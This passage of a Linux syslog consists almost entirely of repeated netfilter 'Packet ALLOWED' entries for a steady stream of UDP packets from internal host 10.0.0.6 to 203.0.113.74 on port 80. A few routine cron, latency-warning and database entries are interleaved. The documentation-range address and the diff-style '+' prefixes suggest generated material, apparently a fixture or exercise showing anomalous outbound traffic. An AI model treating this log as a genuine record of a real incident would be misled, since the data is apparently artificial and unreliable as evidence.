ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=46363 DPT=80 +Aug 16 14:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=53527 DPT=80 +Aug 16 14:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=61311 DPT=80 +Aug 16 14:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=45145 DPT=80 +Aug 16 14:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=27449 DPT=80 +Aug 16 14:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=62568 DPT=80 +Aug 16 14:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=52616 DPT=80 +Aug 16 14:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=44123 DPT=80 +Aug 16 14:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=58291 DPT=80 +Aug 16 14:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=44069 DPT=80 +Aug 16 14:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=48590 DPT=80 +Aug 16 14:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=53938 DPT=80 +Aug 16 14:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=17121 DPT=80 +Aug 16 14:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=21600 DPT=80 +Aug 16 14:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=49088 DPT=80 +Aug 16 14:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=24099 DPT=80 +Aug 16 14:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=10737 DPT=80 +Aug 16 14:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=62346 DPT=80 +Aug 16 14:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=56287 DPT=80 +Aug 16 14:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=53186 DPT=80 +Aug 16 14:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=61685 DPT=80 +Aug 16 14:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=43506 DPT=80 +Aug 16 14:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=21994 DPT=80 +Aug 16 14:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=24672 DPT=80 +Aug 16 14:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=19954 DPT=80 +Aug 16 14:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=29988 DPT=80 +Aug 16 14:04:00 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 14:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=62835 DPT=80 +Aug 16 14:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=26187 DPT=80 +Aug 16 14:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=44634 DPT=80 +Aug 16 14:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=31756 DPT=80 +Aug 16 14:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=33147 DPT=80 +Aug 16 14:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=13887 DPT=80 +Aug 16 14:04:05 CRON[1949]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 14:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=14503 DPT=80 +Aug 16 14:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=54751 DPT=80 +Aug 16 14:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=40994 DPT=80 +Aug 16 14:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=37785 DPT=80 +Aug 16 14:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=55466 DPT=80 +Aug 16 14:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=38885 DPT=80 +Aug 16 14:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=37621 DPT=80 +Aug 16 14:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=45802 DPT=80 +Aug 16 14:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=21658 DPT=80 +Aug 16 14:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=50105 DPT=80 +Aug 16 14:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=13494 DPT=80 +Aug 16 14:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=47617 DPT=80 +Aug 16 14:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=15407 DPT=80 +Aug 16 14:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=51487 DPT=80 +Aug 16 14:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=22671 DPT=80 +Aug 16 14:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=52781 DPT=80 +Aug 16 14:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=33038 DPT=80 +Aug 16 14:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=11353 DPT=80 +Aug 16 14:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=15787 DPT=80 +Aug 16 14:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=21018 DPT=80 +Aug 16 14:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=26420 DPT=80 +Aug 16 14:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=52992 DPT=80 +Aug 16 14:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=43135 DPT=80 +Aug 16 14:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=60274 DPT=80 +Aug 16 14:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=36087 DPT=80 +Aug 16 14:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=13897 DPT=80 +Aug 16 14:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=61243 DPT=80 +Aug 16 14:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=28093 DPT=80 +Aug 16 14:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=49557 DPT=80 +Aug 16 14:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=21745 DPT=80 +Aug 16 14:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=18136 DPT=80 +Aug 16 14:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=17541 DPT=80 +Aug 16 14:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=42393 DPT=80 +Aug 16 14:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=25970 DPT=80 +Aug 16 14:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=61696 DPT=80 +Aug 16 14:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=10701 DPT=80 +Aug 16 14:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=27781 DPT=80 +Aug 16 14:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=24808 DPT=80 +Aug 16 14:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=58043 DPT=80 +Aug 16 14:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=41783 DPT=80 +Aug 16 14:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=43456 DPT=80 +Aug 16 14:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=64513 DPT=80 +Aug 16 14:04:40 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 14:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=20149 DPT=80 +Aug 16 14:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=43190 DPT=80 +Aug 16 14:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=62731 DPT=80 +Aug 16 14:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=37577 DPT=80 +Aug 16 14:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=63529 DPT=80 +Aug 16 14:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=51903 DPT=80 +Aug 16 14:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=59282 DPT=80 +Aug 16 14:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=13513 DPT=80 +Aug 16 14:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=31036 DPT=80 +Aug 16 14:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=63308 DPT=80 +Aug 16 14:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=28781 DPT=80 +Aug 16 14:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=25642 DPT=80 +Aug 16 14:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=23328 DPT=80 +Aug 16 14:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=53263 DPT=80 +Aug 16 14:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=52633 DPT=80 +Aug 16 14:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=44227 DPT=80 +Aug 16 14:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=24965 DPT=80 +Aug 16 14:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=63668 DPT=80 +Aug 16 14:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=52807 DPT=80 +Aug 16 14:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=43715 DPT=80 +Aug 16 14:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=51349 DPT=80 +Aug 16 14:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=64903 DPT=80 +Aug 16 14:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=19230 DPT=80 +Aug 16 14:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=43565 DPT=80 +Aug 16 14:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=34423 DPT=80 +Aug 16 14:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=14414 DPT=80 +Aug 16 14:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=32182 DPT=80 +Aug 16 14:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=62117 DPT=80 +Aug 16 14:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=47900 DPT=80 +Aug 16 14:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=31869 DPT=80 +Aug 16 14:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=49584 DPT=80 +Aug 16 14:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=22631 DPT=80 +Aug 16 14:05:00 systemd[1]: Starting Clean php session files... +Aug 16 14:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=44601 DPT=80 +Aug 16 14:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=11417 DPT=80 +Aug 16 14:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=11269 DPT=80 +Aug 16 14:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=17315 DPT=80 +Aug 16 14:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=28320 DPT=80 +Aug 16 14:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=42476 DPT=80 +Aug 16 14:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=25117 DPT=80 +Aug 16 14:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=11198 DPT=80 +Aug 16 14:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=15251 DPT=80 +Aug 16 14:05:05 CRON[1961]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 14:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=58414 DPT=80 +Aug 16 14:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=30199 DPT=80 +Aug 16 14:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=26357 DPT=80 +Aug 16 14:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=41395 DPT=80 +Aug 16 14:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=53382 DPT=80 +Aug 16 14:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=47606 DPT=80 +Aug 16 14:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=26389 DPT=80 +Aug 16 14:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=23259 DPT=80 +Aug 16 14:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=46364 DPT=80 +Aug 16 14:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=38460 DPT=80 +Aug 16 14:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=38900 DPT=80 +Aug 16 14:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=50444 DPT=80 +Aug 16 14:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=40617 DPT=80 +Aug 16 14:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=42897 DPT=80 +Aug 16 14:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=24006 DPT=80 +Aug 16 14:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=43189 DPT=80 +Aug 16 14:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=36220 DPT=80 +Aug 16 14:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=62617 DPT=80 +Aug 16 14:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=22701 DPT=80 +Aug 16 14:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=28427 DPT=80 +Aug 16 14:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=58369 DPT=80 +Aug 16 14:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=12193 DPT=80 +Aug 16 14:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=41772 DPT=80 +Aug 16 14:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=31757 DPT=80 +Aug 16 14:05:20 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 14:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=25470 DPT=80 +Aug 16 14:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=41161 DPT=80 +Aug 16 14:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=52332 DPT=80 +Aug 16 14:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=15789 DPT=80 +Aug 16 14:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=27887 DPT=80 +Aug 16 14:05:25 webapp-db[1234]: LOG: checkpoint starting: time +Aug 16 14:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=53301 DPT=80 +Aug 16 14:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=64496 DPT=80 +Aug 16 14:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=42064 DPT=80 +Aug 16 14:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=39855 DPT=80 +Aug 16 14:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=45408 DPT=80 +Aug 16 14:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=10798 DPT=80 +Aug 16 14:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=18066 DPT=80 +Aug 16 14:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=26683 DPT=80 +Aug 16 14:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=35266 DPT=80 +Aug 16 14:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=17998 DPT=80 +Aug 16 14:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=48740 DPT=80 +Aug 16 14:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=32244 DPT=80 +Aug 16 14:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=28417 DPT=80 +Aug 16 14:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=35088 DPT=80 +Aug 16 14:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=12812 DPT=80 +Aug 16 14:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=38106 DPT=80 +Aug 16 14:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=59737 DPT=80 +Aug 16 14:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=56567 DPT=80 +Aug 16 14:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=31893 DPT=80 +Aug 16 14:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=32341 DPT=80 +Aug 16 14:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=23399 DPT=80 +Aug 16 14:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=28001 DPT=80 +Aug 16 14:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=61586 DPT=80 +Aug 16 14:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=37045 DPT=80 +Aug 16 14:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=27651 DPT=80 +Aug 16 14:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=12372 DPT=80 +Aug 16 14:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=42637 DPT=80 +Aug 16 14:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=39305 DPT=80 +Aug 16 14:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=58361 DPT=80 +Aug 16 14:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=23925 DPT=80 +Aug 16 14:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=62567 DPT=80 +Aug 16 14:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=64157 DPT=80 +Aug 16 14:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=49279 DPT=80 +Aug 16 14:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=39413 DPT=80 +Aug 16 14:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=42485 DPT=80 +Aug 16 14:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=63774 DPT=80 +Aug 16 14:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=47795 DPT=80 +Aug 16 14:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=16430 DPT=80 +Aug 16 14:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=36495 DPT=80 +Aug 16 14:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=57892 DPT=80 +Aug 16 14:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=41923 DPT=80 +Aug 16 14:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=13735 DPT=80 +Aug 16 14:05:55 kernel: [NETFILTER] Packet ALLOWED: 